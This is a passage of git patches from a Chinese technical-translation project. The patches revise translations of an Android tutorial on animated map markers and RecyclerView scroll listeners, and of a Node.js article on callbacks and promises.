-如我们所见，此回调包含一个传入的参数 RecyclerView，还有整数型参数 dx 和 dy。“dx” 是横移量，“dy”是纵移量。在本项目中，我们只对 recycleview 参数感兴趣.
-
-## First idea ##
+如我们所见，此回调传入一个RecyclerView对象作为参数，还有整数型参数 dx 和 dy。“dx” 是横移量，“dy”是纵移量。在本项目中，我们只对 recycleview 参数感兴趣.
 
 ## 第一个想法 ##
 
-Okay, so we have OnScrollListener class with *onScrolled* method, there can’t be anything tricky right? We will check if view is in the center and then just notify the marker to animate itself. Easy? Of course it’s easy, but it doesn’t work 🙂 Look again on the animation. The first item and the last item will never reach the center of the RecyclerView!
-
 好吧，既然我们已经有了含有 **onScrolled** 方法的 OnScrollListener 类，那就不复杂了吧？我们需要判断某个 RecycleView 的 item 是否处于正中心，如果是的话就通知对应的标记闪烁。简单不？确实很简单，但是不管用 🙂。再看一下动画，第一个 item 和最后一个 item 永远不会到达 RecycleView 的中心。
 
-## Second idea ##
-
 ## 第二个想法
 
-What we need to do? The point where the markers are notified must move across the RecyclerView. So the start position of this point should be in the center of the first item, and the last position should be in the center of the last item. We’ll do some math to calculate points position where corresponding marker should be animated.
-
 该怎么做呢？触发标记闪烁的触发点是随着 RecyclerView 的滑动而移动的。所以这个触发点的起始位置应该在第一个 item 的中心，最终位置应该在最后一个 item 的中心。我们需要做些数学计算来判断触发点和闪烁标记的关联。
 
-Will it work?
 管用吗？
 
-Of course not 🙂 *onScrolled* method doesn’t invoke for every pixel. If we scroll our RecyclerView fast, we will receive only few callbacks. So what should we do?
 还是不管用 🙂。 **onScrolle** 方法不是每一个像素都被触发的。如果我们滑动 RecycleView 的速度太快，收到的回调就很少。那么应该怎么办呢？
 
-## Third idea ##
-
 ##　第三个想法
 
-Easy. We can’t have the moving point, because it’s unlikely that it will cover with “offset” parameter. We have to move the “range” which will notify marker when it covers f.e. 70% of the RecyclerView’s child. So think about it as a moving rectangle from left to right. Let’s look at the implementation:
-
 很简单。既然不能计算移动的触发点 —— 因为看起来它不会包含“偏移量”的参数，那就移动“范围”。当该范围覆盖比如说 70% 的 RecycleView 子布局时，触发标记的闪烁。不妨把它想想成一个从左至右移动的矩形。让我们看看实现吧：
 
 ```
@@ -148,13 +93,13 @@ public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollL
 
     private static final double COVER_FACTOR = 0.7;
 
- 
+
 
     private int[] itemBounds = null;
 
     private final OnItemCoverListener listener;
 
- 
+
 
     public HorizontalRecyclerViewScrollListener(final OnItemCoverListener listener){
 
@@ -162,7 +107,7 @@ public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollL
 
     }
 
- 
+
 
     @Override
 
@@ -182,7 +127,7 @@ public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollL
 
     }
 
- 
+
 
     private void fillItemBounds(final int itemsCount,final RecyclerView recyclerView){
 
@@ -198,7 +143,7 @@ public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollL
 
     }
 
- 
+
 
     private boolean isInChildItemsRange(final int offset,final int itemBound,final int range){
 
@@ -210,7 +155,7 @@ public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollL
 
     }
 
- 
+
 
     public interface OnItemCoverListener{
 
@@ -220,18 +165,12 @@ public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollL
 
 }
 ```
- 
-First of all, we don’t want to make Fragment/Activity messy, so we want to extend RecyclerView.OnScrollListener class and override necessary method. Via the constructor we pass a listener, whose method *onItemCover* is invoked when the RecyclerView is in the child’s range. In the *onScrolled* method we call *fillItemBounds* method if we haven’t done it yet, and we iterate through all of the bounds to check if the recyclerView’s item is covered with corresponding bounds.
 
 首先，我们不希望新代码和 Fragment/Activity 混到一起，因此继承 RecyclerView.OnScrollListener 的类并重写必要的方法。在构造函数中传一个 listener 进去，当 RecycleView 的 item 的范围符合时条件时就调用该 listener 的 **onItemCover** 方法。在 **onScrolled** 方法中，如果 itemBounds 为空我们可以调用 **fillItemBounds** 进行初始化。否则循环判断所有的边距，判断 RecycleView 的 item 是否被指定的范围覆盖。
 
-The method *fillItemBounds* creates new integer’s table for every item in the RecyclerView. Next it calculates childWidth (RecyclerView’s item width). In the last part it fills the table with “item bounds” – actually, these are the “center” points which will be used to calculate if the RecyclerView is in child’s range.
-
 方法 **fillItemBounds** 以 RecyclerView 的 item 个数为长度创建了一个整数数组。接下来它计算了子布局的宽度（也就是 RecyclerView 的 item 的宽度）。在最后它用“item 的范围”给数组赋值 —— 事实上，这些就是用来计算 RecycleView 是否处于子布局内的“中心”点。
 
-When *onScrolled* is invoked, we iterate through all of RecyclerView’s children and we check if the position *isInChildItemsRange.* This method is actually our “rectangle” which we move along the RecyclerView. This method takes the *itemBound* (the “center” point we calculated store in *itemBounds* table), the current offset and calculates if they overlap each other. If so, the *onItemCover* method on the OnItemCoverListener is called, where the corresponding position is passed. With this argument we can get the corresponding Marker and animate it.
-
-当调用 **onScrolled** 方法时，我们通过 **isInChildItemsRange** 循环判断 RecycleView item 的范围。该方法实际上就是当我们移动 RecycleView  时候的“矩形”。该方法计算 **item 的区域**(也就是我们计算并保存在 **itemBounds**里的中心点)与当前的偏移量是否重叠。如果符合条件的话，OnItemCoverListener 会调用 **onItemCover** 方法，传递指定的位置（position） 。通过此参数，我们就可以拿到判断当前的地图标记是哪个，让它进行闪烁。
+当调用 **onScrolled** 方法时，我们遍历 RecyclerView 的 item，并使用 isInChildItemsRange 方法来判断他们所处的位置是否在范围内。该方法实际上就是当我们移动 RecycleView  时候的“矩形”。该方法计算 **item 的区域**(也就是我们计算并保存在 **itemBounds**里的中心点)与当前的偏移量是否重叠。如果符合条件的话，OnItemCoverListener 会调用 **onItemCover** 方法，传递指定的位置（position） 。通过此参数，我们就可以拿到判断当前的地图标记是哪个，让它进行闪烁。
 
 ```
     //Implementation of the HorizontalRecyclerViewScrollListener
@@ -243,7 +182,7 @@ When *onScrolled* is invoked, we iterate through all of RecyclerView’s childre
 
     }
 
- 
+
 
     //OnItemCoverListener method implementation
     // 实现 OnItemCoverListener 的方法
@@ -256,9 +195,9 @@ When *onScrolled* is invoked, we iterate through all of RecyclerView’s childre
 
     }
 
-    
+
     //PulseOverlayLayout - see the 2nd article from the series
-    
+
     //PulseOverlayLayout - 参见系列的第二篇
 
     public void showMarker(final int position){
@@ -267,10 +206,10 @@ When *onScrolled* is invoked, we iterate through all of RecyclerView’s childre
 
     }
 
-  
+
     //PulseMarkerView - see the 2nd article from the series
-    
-        //PulseOverlayLayout - 参见系列的第二篇 
+
+        //PulseOverlayLayout - 参见系列的第二篇
 
     public void pulse(){
 
@@ -279,20 +218,14 @@ When *onScrolled* is invoked, we iterate through all of RecyclerView’s childre
     }
 ```
 
-And there is the effect:
-
 效果如下
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/markers_scaling.gif?x77083)
 
-# Conclusion #
-
-As we can see, we have some great tools from Android Framework, but in some cases we also have to think about some implementations to make everything work as we expect. That wasn’t so clear an obvious in the first place, but somehow we found the solution 😉
+# 总结
 
 如我们所见，Android Framework 中有一些了不起的工具，但是在很多情况下还是需要思考怎么调用才能把事情按我们所想的实现。最开始的时候还不是很明确，但是现在我们已经找到解决办法了 😉。
 
-Thanks for reading! The last part will be published on Tuesday 4.04. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
-
 多谢阅读！最后一篇会在星期二 4.04 发布。如果有疑问的话欢迎评论，如果觉得有用的话一定要分享哟！
 
 ---

From 2afb64e4986142aea8e9bc3797cf14d32768ab61 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Thu, 1 Jun 2017 10:45:18 +0800
Subject: [PATCH 567/638] =?UTF-8?q?2017.6.1=20=E4=BF=AE=E6=AD=A3=E6=A0=BC?=
 =?UTF-8?q?=E5=BC=8F=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...animating-markers-with-mapoverlaylayout.md | 125 +++++++++---------
 1 file changed, 62 insertions(+), 63 deletions(-)

diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
index e45125261ef..1b2c0629717 100644
--- a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -1,5 +1,5 @@
-> * 原文地址：[Workcation App – Part 1. Fragment custom transition](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
-> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
+> * 原文地址：[Workcation App – Part 2. Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
+> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
 > * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)
@@ -10,13 +10,12 @@
 
 Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
-Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
+Part 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 3: [RecyclerView 互动 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
 Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
- 
 项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
 动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
@@ -72,7 +71,7 @@ GoogleMap map=...// 获得地图
 如[效果](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/#animation)所示，我们需要在加载时实现标记渐显和缩放动画，滑动 RecycleView 的时候实现标记闪烁动画，进入详情页面的时候让标记在渐隐动画中隐藏。使用帧动画或者属性动画（Animation/ViewPropertyAnimator API）会更合理一些.我们有解决这个问题的方法吗？当然，我们有！
 
 
-## MapOverlayLayout 
+## MapOverlayLayout
 
 该怎么办呢？其实很简单，但我还是花了点时间才弄明白。我们需要在 SupportMapFragment 上（注：也就是上一篇提到的 MapFragment）添加一层使用谷歌地图 API 所获得的 MapOverlayLayout，在该层上添加地图的映射（映射是用来转换屏幕上的的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection)）。
 
@@ -96,7 +95,7 @@ GoogleMap map=...// 获得地图
 
     android:orientation="vertical">
 
- 
+
 
     <fragment
 
@@ -110,7 +109,7 @@ GoogleMap map=...// 获得地图
 
         android:layout_marginBottom="@dimen/map_margin_bottom"/>
 
- 
+
 
     <com.droidsonroids.workcation.common.maps.PulseOverlayLayout
 
@@ -122,7 +121,7 @@ GoogleMap map=...// 获得地图
 
         android:layout_marginBottom="@dimen/map_margin_bottom">
 
- 
+
 
         <ImageView
 
@@ -134,7 +133,7 @@ GoogleMap map=...// 获得地图
 
             android:transitionName="@string/mapPlaceholderTransition"/>
 
- 
+
 
         </com.droidsonroids.workcation.common.maps.PulseOverlayLayout>
 
@@ -148,13 +147,13 @@ GoogleMap map=...// 获得地图
 现在就开始专注于代码实现 DetailsFragment。
 
 ```
-public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFragmentPresenter> 
+public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFragmentPresenter>
 
         implements DetailsFragmentView, OnMapReadyCallback{
 
     public static final String TAG = DetailsFragment.class.getSimpleName();
 
- 
+
 
     @BindView(R.id.recyclerview)
     RecyclerView recyclerView;
@@ -168,7 +167,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
     @BindView(R.id.mapOverlayLayout)
     PulseOverlayLayout mapOverlayLayout;
 
- 
+
 
     @Override
 
@@ -182,7 +181,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 
     }
 
- 
+
 
     private void setupBaliData(){
 
@@ -190,7 +189,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 
     }
 
- 
+
 
     private void setupMapFragment(){
 
@@ -198,7 +197,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 
     }
 
- 
+
 
     @Override
 
@@ -210,7 +209,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 
     }
 
- 
+
 
     private void setupGoogleMap(){
 
@@ -218,7 +217,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 
     }
 
- 
+
 
     @Override
 
@@ -228,7 +227,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 
     }
 
- 
+
 
     @Override
 
@@ -294,7 +293,7 @@ public class DetailsFragment extends MvpFragment<DetailsFragmentView,DetailsFrag
 ```
 public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
- 
+
 
     protected List<V> markersList;
 
@@ -304,7 +303,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     protected ArrayList<LatLng>polylines;
 
- 
+
 
     public MapOverlayLayout(final Context context){
 
@@ -312,7 +311,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public MapOverlayLayout(final Context context,final AttributeSet attrs){
 
@@ -322,7 +321,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     protected void addMarker(final V view){
 
@@ -332,7 +331,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     protected void removeMarker(final V view){
 
@@ -342,7 +341,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public void showMarker(final int position){
 
@@ -350,7 +349,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     private void refresh(final int position,final Point point){
 
@@ -358,7 +357,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public void setupMap(final GoogleMap googleMap){
 
@@ -366,7 +365,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public void refresh(){
 
@@ -380,7 +379,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public void setOnCameraIdleListener(final GoogleMap.OnCameraIdleListener listener){
 
@@ -388,7 +387,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public void setOnCameraMoveListener(final GoogleMap.OnCameraMoveListener listener){
 
@@ -396,7 +395,7 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 
     }
 
- 
+
 
     public void moveCamera(final LatLngBounds latLngBounds){
 
@@ -412,13 +411,13 @@ public class MapOverlayLayout<V extends MarkerView> extends FrameLayout{
 ```
 public abstract class MarkerView extends View{
 
- 
+
 
     protected Point point;
 
     protected LatLng latLng;
 
- 
+
 
     private MarkerView(final Context context){
 
@@ -426,7 +425,7 @@ public abstract class MarkerView extends View{
 
     }
 
- 
+
 
     public MarkerView (final Context context,final LatLng latLng,final Point point){
 
@@ -438,7 +437,7 @@ public abstract class MarkerView extends View{
 
     }
 
- 
+
 
     public double lat(){
 
@@ -446,7 +445,7 @@ public abstract class MarkerView extends View{
 
     }
 
- 
+
 
     public double lng(){
 
@@ -454,7 +453,7 @@ public abstract class MarkerView extends View{
 
     }
 
- 
+
 
     public Point point(){
 
@@ -462,7 +461,7 @@ public abstract class MarkerView extends View{
 
     }
 
- 
+
 
     public LatLng latLng(){
 
@@ -470,15 +469,15 @@ public abstract class MarkerView extends View{
 
     }
 
- 
+
 
     public abstract voi dshow();
 
- 
+
 
     public abstract void hide();
 
- 
+
 
     public abstract void refresh(final Point point);
 
@@ -492,7 +491,7 @@ public class PulseMarkerView extends MarkerView{
 
     private static final int STROKE_DIMEN=2;
 
- 
+
 
     private Animation scaleAnimation;
 
@@ -506,7 +505,7 @@ public class PulseMarkerView extends MarkerView{
 
     private AnimatorSet showAnimatorSet,hideAnimatorSet;
 
- 
+
 
     public PulseMarkerView(final Context context,final LatLng latLng,final Point point){
 
@@ -532,7 +531,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     public PulseMarkerView(final Context context,final LatLng latLng,final Point point,final int position){
 
@@ -542,7 +541,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupHideAnimatorSet(){
 
@@ -574,7 +573,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupSizes(finalContext context){
 
@@ -582,7 +581,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupShowAnimatorSet(){
 
@@ -614,7 +613,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupScaleAnimation(final Context context){
 
@@ -624,7 +623,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupTextPaint(final Context context){
 
@@ -638,7 +637,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupStrokeBackgroundPaint(final Context context){
 
@@ -654,7 +653,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void setupBackgroundPaint(final Context context){
 
@@ -666,7 +665,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     @Override
 
@@ -686,7 +685,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     public void pulse(){
 
@@ -694,7 +693,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     @Override
 
@@ -710,7 +709,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void drawText(final Canvas canvas){
 
@@ -720,7 +719,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void drawStrokeBackground(final Canvas canvas){
 
@@ -728,7 +727,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     private void drawBackground(final Canvas canvas){
 
@@ -736,7 +735,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     public void setText(Stringtext){
 
@@ -746,7 +745,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     @Override
 
@@ -756,7 +755,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     @Override
 
@@ -768,7 +767,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     @Override
 
@@ -778,7 +777,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     public void showWithDelay(final int delay){
 
@@ -788,7 +787,7 @@ public class PulseMarkerView extends MarkerView{
 
     }
 
- 
+
 
     public void updatePulseViewLayoutParams(final Point point){
 

From 0a78420834b8b68a24471b2807920d67fa5f0f1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Thu, 1 Jun 2017 10:47:57 +0800
Subject: [PATCH 568/638] =?UTF-8?q?2017.6.1=20=E4=BF=AE=E6=94=B9=E6=A0=87?=
 =?UTF-8?q?=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...tion-app-part-2-animating-markers-with-mapoverlaylayout.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
index 1b2c0629717..652d1aebe0a 100644
--- a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -4,7 +4,7 @@
 > * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
 > * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)
 
-#  Workcation App – 第二部分 . Animating Markers 和 MapOverlayLayout #
+#  Workcation App – 第二部分 . 带有动画的标记（Animating Markers）与 MapOverlayLayout
 
 欢迎阅读本系列文章的第二篇，此系列文章和我前一段时间完成的“研究发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
@@ -12,7 +12,7 @@ Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/mas
 
 Part 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 3: [带有动画的标记（Animated Markers）与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
 Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 

From 5f331fad62e057443d300fff81754c8ec3c0104d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 10:51:08 +0800
Subject: [PATCH 569/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=EF=BC=9A#1=20callbac?=
 =?UTF-8?q?k?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...nderstanding-node-js-event-driven-architecture.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 4052c95af81..ff0530b8790 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -8,11 +8,11 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-对于绝大部分的nodejs中的对象，比如HTTP请求、响应以及”流“,他们都是使用了 `eventEmitter` 模块的支持来监听和触发事件。
+绝大部分的nodejs中的对象，比如HTTP请求、响应以及”流“，都使用了 `eventEmitter` 模块的支持来监听和触发事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
-事件驱动最简单的形式是常见的 Nodejs 函数回调风格，例如：`fs.readFile`。在这个类比模型中，callback 扮演着事件处理者的角色，当 Node 准备好调用 callback 的时候：事件将会被触发一次。
+事件驱动最简单的形式是常见的 Nodejs 函数回调，例如：`fs.readFile`。事件被触发时，Node 就会调用回调函数，所以回调函数可类比为事件处理程序。
 
 让我们来探究一下这个基础形式。
 
@@ -40,7 +40,7 @@ function fileSize (fileName, cb) {
 }
 ```
 
-请注意，这并不是一个好的实践，它也许会带来一些预期外的错误。最好能够保持一致--都是同步，或都是异步。
+请注意，这并不是一个好的实践，它也许会带来一些预期外的错误。最好将主函数设计为始终同步或始终异步地使用回调。
 
 我们再来看看下面这种典型的用 callback 风格处理的异步 Node 函数：
 
@@ -57,7 +57,7 @@ const readFileAsArray = function(file, cb) {
 };
 ```
 
-`readFileAsArray` 有文件的路径和 callback，它把文件读取并切割成一行一行的数组来当做参数调用callback。
+`readFileAsArray` 以文件路径和回调函数 callback 为参，读取文件并切割成行的数组来当做参数调用 callback。
 
 这里有一个使用它的示例，假设同目录下我们有一个 `numbers.txt` 文件中有如下内容:
 
@@ -82,9 +82,9 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 });
 ```
 
-这段代码会读取数组中的字符串内容，解析成数字并统计奇数个数。
+这段代码会读取数组中的字符串，解析成数字并统计奇数个数。
 
-在 NodeJS 的回调风格中的写法是这样的：第一个参数err代表着错误对象，当是 `null` 的时候我们就是正常调用 callback,用户和作者都习惯了这样写，主函数接受 callback 作为最后一个参数并且调用的时候给 callback 第一个参数传递 err 对象。
+在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数出传入。 你应该永远这么做, 因为使用者们极有可能是这么以为的。
 
 #### The modern JavaScript alternative to Callbacks ####
 

From 652221aa6de87b9b4d24a1427d5c3c916ce3b61f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 11:04:18 +0800
Subject: [PATCH 570/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=EF=BC=9A#2=20promise?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../understanding-node-js-event-driven-architecture.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index ff0530b8790..f11ae68aae6 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -86,9 +86,9 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 
 在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数出传入。 你应该永远这么做, 因为使用者们极有可能是这么以为的。
 
-#### The modern JavaScript alternative to Callbacks ####
+#### 现代 JavaScript 中回调函数的替代品 ####
 
-在 ES6+ 中，我们有了 Promise 对象。作为 callback 的有力竞争者，它的异步 API 替代了把 callback 作为一个参数传递并且同时处理错误信息，一个 Promise 对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调的嵌套（callback hell，回调地狱）。
+在 ES6+ 中，我们有了 Promise 对象。对于异步 API，它是 callback 的有力竞争者。不再需要将 callback 作为参数传递的同时处理错误信息，Promise 对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调的嵌套（callback hell，回调地狱）。
 
 如果刚刚的 `readFileAsArray` 方法允许使用 Promise，它的调用将是这个样子的：
 
@@ -102,9 +102,9 @@ readFileAsArray('./numbers.txt')
   .catch(console.error);
 ```
 
-作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值；`.then`函数通常给我们和之前 callback 一样的参数，我们处理起来和以前一样，但是对于错误我们使用`.catch`函数来处理。
+作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值；`.then` 中我们可以和之前在回调函数中一样处理数据，但是对于错误我们用`.catch`函数来处理。
 
-这要非常感谢新的 Promise 对象， 它让现代 JavaScript 中主函数支持 Promise 接口更加EZ，我们把刚刚的 `readFileAsArray` 方法用 Promise 来改写一下：
+现代 JavaScript 中的 Promise 对象，使主函数支持 Promise 接口变得更加容易。我们把刚刚的 `readFileAsArray` 方法用 Promise 来改写一下：
 
 ```js
 const readFileAsArray = function(file, cb = () => {}) {
@@ -123,7 +123,7 @@ const readFileAsArray = function(file, cb = () => {}) {
 };
 ```
 
-现在这个函数返回了一个Promise对象，这里面包含着 `fs.readFile` 这个异步调用，Promise对象中同时包含一个 resolve 函数和 reject 函数。
+现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：一个 resolve 函数和 reject 函数。
 
 reject 函数的作用就和我们之前 callback 中处理错误是一样的，而 resolve 函数也就和我们正常处理返回值是一样的。
 

From 3331f2e31de00ef4fc9967d661ec2a546d20f7c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 11:36:50 +0800
Subject: [PATCH 571/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9:=20#3=20async/await?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...erstanding-node-js-event-driven-architecture.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index f11ae68aae6..8140ede7199 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
